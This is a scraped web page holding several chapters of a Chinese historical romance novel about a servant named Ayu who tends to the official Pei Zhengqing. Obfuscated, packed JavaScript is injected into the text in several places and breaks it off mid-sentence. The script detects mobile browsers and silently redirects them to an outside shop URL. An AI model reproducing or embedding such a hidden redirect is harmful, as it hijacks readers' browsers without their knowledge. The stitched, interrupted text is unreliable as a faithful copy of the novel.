;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481259|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肃地告诫。 “多谢姐姐提醒,阿渔定不逾矩。” 薛娘子看管东院多年,对栖云堂内的布局了熟于心,边走边介绍道:“裴大人住在正房的梧竹居,两位贴身小厮常福、常喜则住在东耳房。不过今儿个一早,裴大人便带着常喜出去了,既如此,咱们这次便省了拜见这一步。” 常福、常喜? 阿渔默记于心,前者不曾见过,后者昨儿个倒是在观雪亭见到了,是个颇为机灵圆滑的小厮。 阿渔问道:“薛姐姐,大人平日都是何时归府,何时离去。” 薛娘子得体地回道:“主子的行踪岂是我们这些当奴才的可以揣度,且大人有时三五日回来一次,辰时不到便走,戌时过后才归,有时十天半个月也不回来一次,无甚规律可言。你只要尽心伺候,做好分内的事便好。” 三五天、十天半个月? 照这么看,难怪圣上派他来治理水患,委实尽心尽力,连府里的刺史大人都未必如此殚精竭虑,想来昨儿个在在观雪亭碰见他当真是偶然。 阿渔一边琢磨,一边点头应下。 “到了。”薛娘子在正房前站定,指着其中一间屋子道,“东边这间便是你之后的新住处。” 阿渔看了看薛娘子指的那间屋子,又看了看一旁紧挨着的梧竹居,犹疑道:“正房是主子的住处,我一介奴婢住在这儿......”委实不妥。 薛娘子轻笑一声,解释道:“你尽可放心住下便是,我虽是府里的老人儿,却也没那么大能耐,擅作主张将你安置在主子的隔壁。让你住在这儿,是裴大人决定的,我不过是遵命将你领来罢了。” 原来这一切都是裴大人安排的。思及此,阿渔垂下眼帘,羞赧地轻咬下唇。 甫一推开门扉,印入眼帘的便是紫纱烙花墙纸,色泽清淡素雅。阳光穿过竹林,透过素几明窗洒进屋内,暖黄的光线与紫纱重叠,折射出如梦似幻的光彩。 一扇梅兰竹菊苏绣蚕丝缎屏风隔出里外。 外间的案几上放着一只圆头圆脑的鸭嘴香炉,正徐徐飘起袅袅轻烟,其间不知燃的何种香屑,闻着凝神静气,细嗅还有股淡淡的栀子香。 内间明晃晃宛如一间女儿闺房,一张黄花梨软榻,上面铺着柔软的云锦,外面罩着细丝纱帐,两侧用银钩挂起,四角坠着镂空香薰球。梳妆台上面摆放莲花铜镜、脂粉箱奁等一应物什,相较于东厢房的更加精致贵气。 除了这些肉眼可见的,新居还有另一个意料不到的好处。 “除了不可用私汤,之后若是沐浴,交代下面的人去做便可,不必再亲自担水。”薛娘子临走前交代。 阿渔闻言受宠若惊,倒不妨还有这等好处。 自进入刺史府以来,她先后做过小厮、浣洗婢女、洒扫观雪亭,各有各的幸苦,阿渔却不曾叫累分毫。 先前碍于身份,不便讲究许多,可阿渔骨子里到底还是爱娇爱俏的,眼下既然薛娘子这么说,她也不会亏待自己,遂迭迭应下。 13. 假虎威 栖云堂的日子悠闲且宁静。 薛娘子那日将阿渔领来后便离开,未曾交代她应当做何活计。另一边,邹妈妈也仿佛隐了身,对她在栖云堂的一切不再多加过问。 主子不在,两位管事妈妈都睁一只眼闭一只眼,府里其他人更无权置喙,阿渔一下子便闲了下来。 栖云堂风景雅致,可看久了也无甚稀奇。庭院里丁点儿的地方,连个说话的人儿都没有,书房外虽每日有两个侍卫轮值,却也只是一动不动地站着,虎视眈眈地将书房围得严严实实,连只蚊子都飞不进去。阿渔平日更是离得远远地,不敢靠近分毫。 闲来无事,阿渔便令人送来绣样儿、针线和料子,打算过些时日,待天儿热些,便裁些轻薄衣裳穿。 刺史府并不苛待下人,甭管是粗使的小厮,还是近身伺候的丫鬟婆子,一年四季都可以从府里的绣房领到新衣裳。 可阿渔却不稀罕,她生就一双巧手,平日里那些寻常的绣样儿到了她手里,三两下功夫便栩栩如生。 且她爹娘未落难前俱是大户人家的公子小姐,见过的世面自是远高于刺史府的绣娘,阿渔耳濡日染,自小便极有审美天赋,自认同样的东西到了她的手里,做出来的效果远比府里的绣娘好。 这一点便是连不懂半点针线的汀兰都认可。 另有一点,她现在身份不尴不尬的,主子不是主子,奴才才是奴才,若不是像上次那样有刺史夫人特意下令,便只能领到普通丫鬓的衣裳,粗翻翻的,甚是扎人。 可若她特意令人去取料子,依柳氏的性子,便是看在裴大人的份上,也定会从库房里取出上乘的绢帛绸缎送来。 既然能穿好的,阿渔才不会委屈了自己,张口便要了两匹蚕丝,三匹妆花绢和五匹云绵。当然她耍了个心眼,不说是自己想要,而是备着给裴大人裁衣裳。 裴正卿阳春三月自京城而来,彼时北方刚刚化寒,带的自是夹棉的厚衣服。可治理水患之事非一蹴而就,至少需要三两个月,如此一来,既要待到盛夏,没有合身儿的衣裳怎么成? 阿渔正是算准了这点才敢狮子大开口,既讨好裴大人,也要为自己谋些福利才是。 阿渔能想到的点,柳氏自然不会想不到。裴正卿是江南东道水陆运使,一品钦差,巡地官员表现的好坏,全在他上奏圣上的折子里,权势之大可见一斑。 思及此,柳氏咬了咬牙,舍不着孩子套不着狼,连美人计都使了,岂会在乎这点儿丝锻布匹?遂大手一挥,搬了小半库房的料子送到栖云堂供阿渔挑选。 阿渔倒未料到柳氏这般舍得。 她心知若是趁火打劫,将人得罪太狠,只会过犹不及,便在依言拿了前头说的那些缎料外,只多要了一匹名贵的织金、金线、银线和些许珠串,便让人将剩下送了回去。 日子不紧不慢地过着,天儿一天热过一天。 竹笋露出尖角,树叶换了新芽,草长莺飞,蝉鸣不绝,转眼便到了立夏。 正待阿渔即将适应独占栖云堂时,一大早书房却传来了不同寻常的动静。 “啪——” 一封奏报被扔在桌上,裴正卿平日眼底的温润谦和尽数消失,只见他眉心紧蹙,脸上满是肃然之色。 寡言沉稳的常福垂首站立,一向嬉皮笑脸的常喜此刻也耷拉着脑袋,眼睛定定地盯着地面,不敢到处乱瞟。 “短短数日,曹清江中游流段连续两次决堤,以至周遭村庄的房屋尽数坍圮,饿殍百人之多,尔等作何解释?” 裴正卿的声音越来越严厉,直到最后一句低沉质问的话落下,书房内的气氛陡然变得凝滞。仿佛逐渐绷紧的弓弦,无论上面架着空矢之箭,还是锋利的羽箭,都能在离弦而去的那一刻引起空气的剧烈震动。 常福冷汗直下,在上首严厉的注视下硬着头皮上前,弯腰拱手回道:“禀大人,奴才按照您的吩咐,全程监督运河疏浚,不敢有一丝懈怠。修堰分流、除沙、修补已经坍圮破败的堤坝,原本一切都按照大人计划的来,只是不知为何偏偏曹清江中游流段,明明河床的水位已经降低,水流亦不湍急,可修补后的堤坝却依旧不堪一击,甚至......甚至不如尚未修补的下游堤坝。” 裴正卿向后倚着椅背,一只手随意地搭在扶手上,骨骼分明的手指一搭一搭地敲着,面上毫无表情,眼底幽深,让人揣度不出情绪。 半晌,他轻嗤一声,声音低沉地缓缓说道:“既不是天灾,那便是有人背后动了手脚。查!给本官彻彻底底地查!常福!” 常福神色一凛,垂首拱手道:“奴才在!” “暂时不要打草惊蛇,先从修建堤坝的石料入手,从何处采购、价格如何、都有哪些人经过手等......一丝一毫的细节都不能放过,务必查得清清楚楚!” “奴才遵命!” 裴正卿自是相信常福的能耐,否则不会将这么重要的事交给他,只最后叮嘱道:“做事隐蔽些,不要让任何人察觉,包括吴徐两位刺史。” 常福一愣,随即反应过来,拱手称是。 交代完这些,裴正卿疲惫地阖上双眸,揉了揉发酸的眉心,长长地呼出一口气。前几日巡查河道,昨日连夜赶路,今儿一早又处理决堤事宜,细算来他已有数日未曾好好歇息。 常喜在一旁小心翼翼地问道:“大人,眼下接近日中,可要让厨房送些饭菜来?” 裴正卿起身到内间的竹榻上躺下,合上眼嗓音嘶哑道:“不必,出去。” 我的爷嘞,已经一日一夜不曾吃喝,便是铁打的身子可如何遭得住啊! 真真是应了那句皇帝不急太监急,常喜心里担忧,却见主子似已沉沉睡熟,只得苦着脸,蹑手蹑脚地走了出去,轻轻掩上门扉。 一转身,赫然见一道曼妙的身影在窗下做针线。 常喜眼睛一亮,顿时喜出望外地跑过去,伏地做小弯腰请安道:“阿渔姑娘安好。” 阿渔方才隐约听见书房传来动静,心下便猜是否是裴大人回来了。 然而,半晌无人进出。 好不容易听到有人走动,忙不迭去窗边探看,却是个浓眉方脸、相貌普通的沉稳男子。 过了好一会儿,又听到书房的门轻微吱嘎一声响,阿渔当即垂首作忙碌状,实则眼观六路耳听八方,内心彷徨不知再见裴大人当说些什么。 却见来人仍不是他。 阿渔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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厨房内冉起白色的炊烟,烧火的丫头一边咳嗽一边往里添柴,其他婢女该择菜的择菜,该切肉的切肉,紧张又有条不紊地备起了午膳。 贾婆子满意地点点头,拍了拍手里的瓜子儿碎屑,又从兜里抓出一把瓜子儿,老神自在地嗑了起来。 “请问,哪位是厨房的管事妈妈?”一道轻软柔和的声音问道。 贾婆子斜眼睨了过去,吊梢的三角眼快速从头到脚打量了一遍来人,只见是个穿着白银挑衫儿,天青素缎鞋,容貌出挑、眉眼顾盼神飞的年轻女子。 贾婆子嘴里嗑着瓜子儿,审视地问道:“我就是,你是哪个值上的,叫什么名字?找老娘做甚么?” 阿渔看出对面这个八成是个有些资历的刁婆子,恐不好对付,遂眼珠一转搬出来路,狐假虎威道:“我是栖云堂的,叫我阿渔便是,敢问嬷嬷如何称呼?” 谁知那婆子听到栖云堂的反应倒在意料之内,反而听到阿渔的名字惊掉了手中的瓜子儿,结结巴巴道:“你、你就是阿渔?” 这反应委实大了点。 阿渔挑了挑眉梢,怎的,莫非这婆子认识她? 14. 翠缕面 阿渔脑中快速回想先前是否同这婆子打过交道,面上不动神色地含笑问道:“嬷嬷可是先前曾认得我?” “认得、认得!”贾婆子忙不迭点头。 只见她一脚扫开地上的堆成小山的瓜子壳,脸上堆叠起菊花般的笑意,殷勤地上前套近乎:“不不不,应该是听过,那个叫什么闻名......还是什么不见人......” 贾婆子大字不识几个,平日里跟人吵架牙尖嘴利,若让她搜肠索肚说些附庸风雅的好听话儿,那真真是抓耳挠腮都憋不出一个完整的句子。 贾婆子话到嘴边,偏怎的也想不起来,锤头跺脚地急道:“哎呀就在嘴边了,叫什么来着,就是没见过但是听说过,叫什么什么名儿......,还是什么名儿什么......” 厨房里的婢女们一边做着手里的活计,一边留心门外的动静,见贾婆子难得吃瘪出糗,互相间交换了一个幸灾乐祸的眼神,低头暗暗嗤笑。 最后,不知是谁悠悠道:“贾婆子,是久闻大名哩!” “对对!久闻大名!就是久闻大名!”贾婆子经一提醒,豁然开朗,腆着菊花般的笑脸解释道,“我老早便听薛娘子提起过你嘞!” 薛娘子? 阿渔眉梢微挑,顺坡下驴问道:“薛娘子和您是......?” 见对方果然顺着她的话问,贾婆子可算逮着一个显摆的机会,抖擞肩膀,得意洋洋地炫耀道:“嗐,既然话都说到这儿了,我也不瞒你。我娘家呀,和薛娘子的男人是三代以内的姑表亲哩!” 阿渔恍然大悟:“原来如此!” 难怪这婆子鼻孔朝天,原来是关系户啊! 薛娘子是东院的管事娘子,虽然眼下东院的下人名义上都是邹妈妈管着,但一方面薛娘子管理东院多年,一应事宜章程了熟于心,做起事来自然比初来乍到的裴府众人更加熟稔。 另一方面,裴大人作为特设的水陆运使,只是借住在刺史府,至多三个月便会离开,而作为照顾裴大人而来的邹妈妈同样也会离开。 是故除了裴大人的事,邹妈妈每必躬亲过问外,东院里的其他事宜则一应交由薛娘子照着先前的例儿办。 阿渔作为柳氏送来的通房婢女之一,如今又住进了栖云堂,这些事都有薛娘子在其中经手。眼前的这个婆子既与薛娘子是亲戚,知道她的身份不足为奇。 想来薛娘子应该还提点了这婆子一番,例如最有可能成为主子通房云云,否则不会在知晓她的名字后,突然态度大转,殷勤备至,例如现在。 “老婆子我姓贾,厨房里的人都管我叫贾婆子,阿渔姑娘突然来厨房,可是有什么吩咐?” 阿渔提起衣摆,踏入厨房,半真半假道:“大人近日胃口欠佳,故而特意令我来厨房为他准备午膳。” 贾婆子殷勤地跟在后面:“明白明白,那大人可有说想吃什么,今儿个厨房里备有烧鹅、还有猪脸肉,额还有、还有......” 贾婆子心虚地挠了挠额头,朝身边一个切菜的婢女使了个眼神,让她赶紧接话。 那婢女被贾婆子威胁的眼神一扫,不敢装在一旁看热闹,遂诺诺放下手中的活计,垂着脑袋接上贾婆子的话,小声道:“荤菜还有猪蹄膀、鸡翅尖、鲢鱼,素菜有新采的荠菜、茄子、酱腌酸笋......” 阿渔听罢眉头微蹙,问道:“还有吗?” 听常喜说他们昨日连夜骑马赶路回来,想来路上喝了不少凉风,有一日一夜未曾进食,阿渔担心荤菜油腻,吃了恐闹肚子。 那婢女想了想,“啊”了一声似想起什么,回道:“还有一些和好的面团。” 阿渔眼前一亮:“在何处?拿来我看看。” 贾婆子在一旁附和地催促道:“不早点儿说,快去快去!” 只见那婢女小步跑到一个带盖的木盆旁,揭开盖子,从水中取出一个沉甸甸的,用油布包裹得严严实实的物什。 打开油布,里面赫然是一团裹着细纱的面团。 阿渔看着婢女手中光滑的面团,问道:“这是何时和好的面?” 婢女回:“是昨儿个的。” 放了一夜?阿渔有些迟疑。 担心阿渔误会,婢女赶紧解释道:“姑娘放心,这团面没坏。昨儿个和了一盆面,还有些未用完,我便将它用细纱裹起来,在外面包上油布,放在盛满冷水的木盆里,盖上盖子,便是六七天后拿出来也不会坏。” 阿渔凑近浅浅嗅了一下,确实没有酸味:“确如你所言。” 婢女高兴地继续道:“是哩,不仅不会坏,还会更劲道呢。抻成面条,做成冷淘、馎饦、水滑面,都爽口又弹牙。只是眼下天气炎热,若是放得再久便要馊了,故而往往至多放六七天就要吃完。” 阿渔眼含欣赏地看着她,说道:“难为你这般用心了,你叫什么名字?” 婢女回道:“回姑娘,我叫李七儿。” 贾婆子在一旁殷勤地补充道:“对对,她爹姓李,是城里有名的生不出儿子的老酒鬼,把婆娘生的七个丫头片子都卖了,换了钱买酒,结果一头溺死在河里。这妮子是老幺,打五岁起就卖进了府里,我们都管她叫李七儿。” 贾婆子话音刚落,李七儿顿时红了眼。虽然贾婆子说的是事实,但伤疤再次让人揭起,未免太过令人难堪。 “李七儿。”阿渔口中念着这个名字,随后说道,“今儿个便由你来做大人的午膳吧。” 阿渔虽是应下了常喜,为大人准备午膳,却也没说亲自动手。 她擅针线,却不擅庖厨,倒是舌头娇贵,让她提要求,或是品尝鉴赏佳肴可以,亲自动手却万万不能。 “啊?”李七儿大吃一惊,难以置信地指着自己,结结巴巴道:“我、我吗?” 不止李七儿,连贾婆子也大为吃惊,连忙劝阻道:“阿渔姑娘要不再想想?李七儿一个小丫头片子,先前没有为主子做过膳,老话儿说大姑娘坐花轿,那还是头一回。万一要是出了岔子,岂不是连累了我......我们?” 贾婆子越说越激动,最后差点把真心话说了出来。 她讪讪地扯了扯嘴角,打算给阿渔推荐几个经验丰富,稳妥可靠的厨下婢女。至于李七儿,给粗使下人做做饭就得了。 阿渔却摆了摆手,态度坚定道:“不必了,谁都有第一次,你可以么?”最后一句话她是在问李七儿。 “我、我......我可以!”李七儿咬了咬牙,嗓音颤抖地表决心道,“我、我虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481261|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然先前没有为主子做过膳,但我自打入府便进了厨房,从烧火丫头做起,到今年已经在厨房待了十一年了,寻常的吃食我都会做!” 五岁入府,十一年,这般算来李七儿和自己一般大呢,阿渔默默想到。 李七儿呼了一口气,郑重其事地问道:“姑娘需要我做甚么?” 阿渔摩挲着下颌,盯着李七儿手中的面团想了想,灵机一动说道:“今儿个立夏,便做一碗清凉爽口的冷淘吧。” “是!”李七儿立刻应下。 只见她利落地揪下几个面团,熟练地拉抻,直到每一根都又细又长,像根根白色的琴弦。 随后将面条下到咕噜噜冒着沸水的铁锅里煮熟,用笊篱沥水捞出,却不直接放入盘中,而是在冷水中又过一遍再捞起,浇上豆豉酱,最后铺上豆腐、乳饼子、芦菔等菜码,呈送到阿渔面前。 阿渔夹起一根,尝了一口,入口爽滑,嚼之劲道弹牙,又不会觉得厚重,拌匀后的面身上裹满酱料,挟着不同风味的菜码,咸香中带着回甘,着实美味。 只是—— 阿渔总觉得缺点什么,蹙眉不语。 李七儿见状,嘴角原本信心满满的笑意不由得逐渐落下,忐忑不安地抿了抿嘴角。 贾婆子当即落井下石,撺掇道:“老身早说李七儿功夫不到家,姑娘还不信,不如让桂儿来......” 阿渔摇头,打断了贾婆子未说完的话:“倒不是李七儿做得不好,而是......”她看着盘子里的冷淘,总觉得差点什么。 李七儿壮起胆子小心翼翼地问道:“敢问姑娘觉得何处不妥?是味道,还是食材?” 阿渔轻轻摇了摇头,迟疑道:“都不是,你做的冷淘味道极好,只是我先前所说大人近日食欲不佳,若只是寻常膳食,恐他不愿下口,总要特别些才好。” 此话一出,厨房内众人面面相觑,不知阿渔口中的“特别”是为何意。 突然,阿渔想起厨房门外的那棵槐树。 眼下正是立夏,槐花白乎乎、甜丝丝的,槐芽嫩生生、绿油油的,若是在面中掺上槐汁,做出来的冷淘不仅味道上会多一丝清甜,颜色上青翠欲滴,比普通的冷淘更加诱人。 阿渔把这个想法说了出来,不管一旁贾婆子迭声劝阻,自顾自地指挥人去摘下槐叶。而后让李七儿择出最嫩的叶片,焯水撕开研磨捣碎,过滤出碧绿的汁液后,揉进面团里。 只见原本白白胖胖的面团,此刻仿佛一块碧绿的翡翠。 接着便是重复先前制作冷淘的方式,抻、煮、沥、过水、浇酱,铺菜码,呈送到阿渔面前。 旁的先不论,单论这颜色便可称得上“翠华香扑水光遥”。夹起一根顺着喉咙吸入腹中,只觉别有风味、口齿生香。 阿渔满意地点点头。 李七儿见状心下松了一口气,喜悦止不住地涌上心头,她好奇地问道:“阿渔姑娘怎的突然想到在冷淘中加入槐叶?这想法当真妙极!” 阿渔笑着摇了摇头,道:“这槐叶冷淘并非我独创,不过是拾古人牙慧罢了。我只是突然想起曾在一本典籍中看过类似的做法,言槐叶亦可食用,若以汁和面,则做出的汤饼便是绿色的。故而槐叶冷淘又称作,翠缕面。” 15. 是清欢 栖云堂,书房 案几上安放着一只精致小巧的四角铜兽炉,正徐徐向外吐着龙脑香。书桌上镇纸、砚台、河图和奏折整整齐齐地排列在一起,靠墙站着两立紫檀书架,堆满万卷图书。 内间掩在一扇江南烟雨水墨屏风后,内设一张玄漆镂空竹榻,一个温润儒雅的男子正躺在上面阖眸小憩。 门扉吱嘎一声轻响,阿渔小心翼翼地提起裙摆,轻轻踏入房内。 她快速打眼在外间扫了一圈,没看到半分人影,不由得心下腹诽常喜真真是个油嘴滑舌的懒骨头,哄她去备午膳,自个儿却不在主子身边守着! 眼下午膳已经备下,要不要叫裴大人起身呢?阿渔原地踌躇半晌,到底咬了咬牙轻手轻脚地朝着内间走了进去。 只见平素温柔儒雅的裴大人合衣躺在竹榻上,高大宽阔的身材一下子将狭窄的竹榻占据大半,一只手搭在腹部,另一只手随意地放在身侧。两条大长腿无处安放,只得一条曲膝虚虚地搭在榻沿,另一条放在榻上,多出的小腿和脚悬空。 睡梦中的男人嘴角抿成一道直线,温润的眉眼紧蹙不展,像是梦见什么烦心事一般,阿渔不由得看入了神。 似是感受到房间内多了一个人,男人原本平稳缓慢的呼吸逐渐发生变化,将有苏醒的趋势。 阿渔蓦地回过神,方才想起自己是来唤主子用午膳的,怎的走了神,不由得懊恼地拍了拍脑袋,清了清嗓子,弯腰轻声道:“大人,该起了。” 裴正卿原本便将醒未醒,闻言当即睁开双眸,坐起了身。 许是醒得突然,意识还未完全回笼,阿渔注意到男人平日里温润的双眸此刻却尽是茫然,身上那种属于成年男子的压迫感骤然消失,周身的气质仿佛退化到没有任何威胁的幼崽。 阿渔垂首偷笑,却觉得男人眼下迷糊懵懂的状态比平日里看似温润端方,实则客套疏离的模样顺眼得多。 突然,一道略有些沙哑的声音打趣道:“何事这般高兴,嗯?” 阿渔闻言惊诧地抬首,方才注意到对面的男人不知何时已经清醒,双手闲适地向后撑在竹榻上,歪着头饶有兴致地打量她脸上偷笑、错愕、呆愣的一连串反应。 男人少见地流露出慵懒惬意的表情,一改往日板正守礼,反而松垮轻浮地笑着,像草原上高大威猛的雄狮突然躺倒打滚,露出柔软的腹部,不停地用脑袋拱着人去怜爱抚摸。 阿渔让男人身上这两种极致的反差迷了眼、晃了神,然而待看清男人眼底明晃晃的揶揄,才惊觉他藏在无害面孔下的捉弄。 阿渔一边羞耻,一边又有种窥探到旁人不曾见过的宝物般刺激,她羞赧地绞着手中的帕子,支支吾吾地嗫嚅道:“没、没什么。” 裴正卿轻笑一声,坐直身体,方才注意到阿渔身上的桃夭云绸对衿衫儿,不由得眼前一亮,夸赞道:“你今儿个这身衣裳很好看。” 阿渔闻言耳尖一红,颇有些不自在地视线四下乱瞟,脑中霎时一团乱麻,想不出应当作何回应,只得干巴巴地回道:“......多谢大人。” 话一出口,阿渔顿感羞愤欲死,恨不能找个地洞钻进去。 真真是丢煞人也!大大方方应下便是,怎的他夸两句就乱了手脚,定是方才男色误人! 阿渔绝望地垂下眼帘,暗悔自个儿修炼的功夫不到家,早知道就应该反问他,跟前几日在观雪亭那身儿相比如何?想来他定然不记得,届时她便可以...... 阿渔正兀自想着,却听男人轻笑一声道:“我记得。” 阿渔一愣,不明所以。裴正卿看着她的眼睛,认真地一字一句启唇道:“我记得,那日在观雪亭的一切我都不会忘记,你穿的是一身丁香云绢妆花衫。” 阿渔闻言惊吓地瞪圆双眼,不敢置信地脱口而出道:“你怎的知道我心里想的是什么话?莫非我方才不小心......”说出来了? 只见男人意味深长地点了点头,阿渔顿觉眼前一黑。 完了完了,这世上可有后悔药吃,早知会出如此大的丑,她方才就不应该进来!噫吁嚱,悔之晚矣! 阿渔急急地扔下一句“奴婢去担水为大人洗漱”,顾不得等男人反应,便一溜烟儿逃之夭夭。 裴正卿笑着摇了摇头,心道小姑娘到底脸皮儿薄,下次万不可再这般逗弄。 过了一会儿,阿渔神色如常地担水回到了书房,若不仔细看她香腮两侧的点点桃晕,定会让人以为方才无事发生。 裴正卿眉梢微挑,视线若不经意地扫过阿渔的小脸儿,停了一瞬,而后仿佛毫无所查地挪开了视线。 阿渔心下松了一口气,而后绞了帕子、倒了清盐水、用牙刷蘸取牙粉伺候男人擦脸漱口。 “奴婢听常喜说大人已经一日一夜未进食,今儿个午膳我让厨房做了一碗冷淘,算起来过会儿应该便会送来,大人不妨待会儿尝尝。” 面团虽是现成的,可先前大人未醒,若是直接做好了端过来,恐怕面将坨成一团影响口感。 思及此,阿渔便吩咐厨房算着时间,待大人起身后,再煮面、拌好卤子送过来。眼下算来,应该正在送来的路上。 裴正卿欣然应下:“说来腹中确实有些饥饿,既是你特意安排的,那便用一些罢。” “是。”阿渔抿了抿嘴,接着说道:“还有......多谢大人。” 裴正卿偏头,佯装不知:“谢我什么?” 阿渔垂下眼帘,咬了咬唇道:“谢大人将我调来栖云堂。” 不论是否有爬床的打算,平心而论栖云堂确实是个好去处。需要伺候的主子只有裴大人一人,大部分活计都由贴身小厮做,同洒扫观雪亭相比,委实轻松许多。 无论如何,阿渔觉得自己总归需要亲自向裴大人道一句谢,方能体现诚心。 裴正卿将擦手的帕子搭在盆边,笑道:“举手之劳,不足挂齿,况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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思及此,阿渔不免有些洋洋得意,暗暗觉得自个儿从方才的出糗中扳回一局。 须臾,裴正卿便用完盘中的冷淘,而作为点心的乳酪本就份量不大,至多三勺便已见底。 礼记云,食不言。阿渔见他放下手中的筷箸,方才试探地问道:“大人以为如何?” 裴正卿笑道:“人间至味是清欢,此番劳你费心了,我很喜欢,常喜——” “奴才在。”常喜不知从哪个角落突然钻了出来。 裴正卿并不意外,神色如常地吩咐道:“今儿个备膳的人通通有赏。” “是!”常喜弯身应下,朝阿渔使了个眼神,示意她待会去找他领赏。 倒不妨还有这般好处,阿渔又惊又喜,迭声道谢:“多谢大人。” 裴正卿见她这般开心,眼底泛起一抹宠溺的笑意。 16. 茶百戏 阿渔领完赏,思及方才裴大人用的膳食未免甜腻,遂起了心思打算送些茶水过去。 江南文人雅致,嗜茶品茗蔚然成风,时下尤为崇尚点茶。 所谓点茶,则是指将茶饼碾碎过筛成细腻的茶粉,放入到茶盏中,而后将盛水的砂瓶放在火炉上灼烤,待听到水开的声音,便将滚水注入碗中,并同时用茶筅搅拌,直至打出稳定的茶沫,一道基础的点茶工序方才完成。 看着并不复杂,无论是制作的过程,还是最后的成品仿佛都同冲泡藕粉有许多相似之处。 思及此,阿渔碾茶的动作一顿,不由得想到方才的点心应该用藕粉羹才是。但她很快又否定了自个儿的这个想法,毕竟眼下方才立夏,池塘里的藕恐怕都没长好哩! 一套完整的点茶过程远比听起来复杂得多,其中处处是细节。 盛水的砂瓶乃是耐火的瓷器,故而无法像煮茶那般观察火候,而是通过听声来辨别水开与否。 另外向茶盏中注水并非一蹴而就,而是分次进行,每一次注水量和打茶的手法皆不相同,形成的茶沫形态也不相同,如粟米、如蟹眼、如云雾。 是故,若无甚经验者,便是知晓如何点茶,恐亦难以把握。 时下女子不论出身达官贵族,亦是商户之家,皆以擅女红茶艺为荣,便是宅院里的那些夫人小姐身边的贴身侍女,亦往往皆有一手高超的点茶手艺。 阿渔祖上出身富贵,便是如今沦为罪奴,爹娘也未曾疏漏对她平日的教导,茶艺自是在内。 阿渔不仅擅点茶,还会做汤戏。 只见她行云流水般将茶沫打至云雾汹涌,汤花稀稠均匀后,捏起茶匙,轻轻点取汤水,在茶面勾勒描绘。不一会儿,乳白色的茶面上便出现了一左一右两株栩栩如生的翠竹。 竹,君子之气节也。瞻彼淇奥,绿竹猗猗。有匪君子,如切如磋,如琢如磨。 阿渔觉得,若要用一样物什形容裴大人,用竹子便再适合不过,遂满意地放下茶匙,将茶盏放上托盘,信步朝书房走去。 书房门外 两名侍卫见来人是阿渔,彼此互视一眼,不需通报便放她进去了。 甫一迈入书房,便见男人笔挺的身影立在书桌前。案上文房四宝摆放得横平竖直,笔洗、墨床、宣纸、砚台顶端对得整整齐齐,每一样之间的间距分毫不差,仿佛用镇尺比对过一般,方方正正、不失毫厘。 阿渔一愣,不曾想竟有人将细节做到这种程度。 裴正卿垂着头,看不清脸上的表情,腰背笔挺,右手执着毛笔不知在写些什么。 阿渔不知他笔下是否在写着要紧的东西,担心贸然上前看到不该看的机密奏报,只得端着手中的托盘,远远地站在屏风旁,眼睛盯着地面不敢四处乱看,福身请安道:“大人,奴婢沏了一盏茶,可要现在奉上?” 男人手下运笔的动作未停,淡淡道:“过来罢。” 阿渔松了一口气,将托盘放在一旁的圆桌上,端起茶盏施施然走了过去。 待靠近,阿渔方才发现男人只是在练字。她抬眸粗略扫了两眼,只觉一横一竖、一撇一捺笔画清晰,字形端正,却又连贯流畅,灵动自然,应当是行楷无疑。 阿渔心下这般想着,注意力却不由自主地飘到一旁认真练字的男人身上。 怎的有人生得这般高大,先前见他躺在竹榻上时,便蜷着身子手脚无处安放,此刻站在他的身边,阿渔愈发能感受到他的高大。 阿渔祖上出身西北,是故同寻常江南女子相比,她的身量更加高挑。 先前住在东厢房时,四人中她的身量最高,其次是瑶琴,汀兰同瑶琴差不多,却因体态没有瑶琴那般纤细,故而显得稍矮一些。 阿渔自认便是在整个刺史府的丫鬟婆子小厮中,她的身量也算极高,否则当初她也不会轻而易举地伪装成小厮数月都未被人发现,直到突然来了月事才露了马脚。 然而便是这般高挑的她,跟一旁垂首写字的男人相比,也方才堪堪及他的脖颈。在男人宽阔的胸膛面前,素来高挑的阿渔也不由得变得娇小依人,仿佛男人手臂一张便能牢牢地将她围住,不留一点空隙。 阿渔悄悄抬眸打量男人棱角分明的下颌,阳光透过窗柩打在他高挺的眉骨和鼻梁上,仿佛将侧脸都打上了阴影,显得愈加深邃。 分明是年过而立的中年男子,却打理得干干净净,须下看不见一根青茬,小山般的喉结安安静静地待在主人脖颈上,仿佛乖巧听话的后生。 阿渔羞赧地收回视线,脸色一红,悄悄咽了咽口水,缓缓地,希望男人什么也没听到。 她不由得有些纳罕,许是秀色可餐?不然为何自己突然感到又干又渴。 